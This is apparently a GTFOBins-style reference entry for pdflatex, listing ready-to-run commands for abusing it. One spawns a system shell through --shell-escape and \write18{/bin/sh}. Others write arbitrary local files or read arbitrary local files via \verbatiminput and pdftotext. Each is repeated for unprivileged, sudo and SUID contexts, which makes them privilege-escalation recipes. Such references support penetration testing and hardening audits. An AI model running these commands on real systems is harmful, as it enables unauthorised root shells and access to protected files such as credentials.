This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
This executable can write data to local files.
This function can be performed by any unprivileged user.
pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
This executable can read data from local files.
This function can be performed by any unprivileged user.
pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
pdftotext texput.pdf -
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
pdftotext texput.pdf -
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
pdftotext texput.pdf -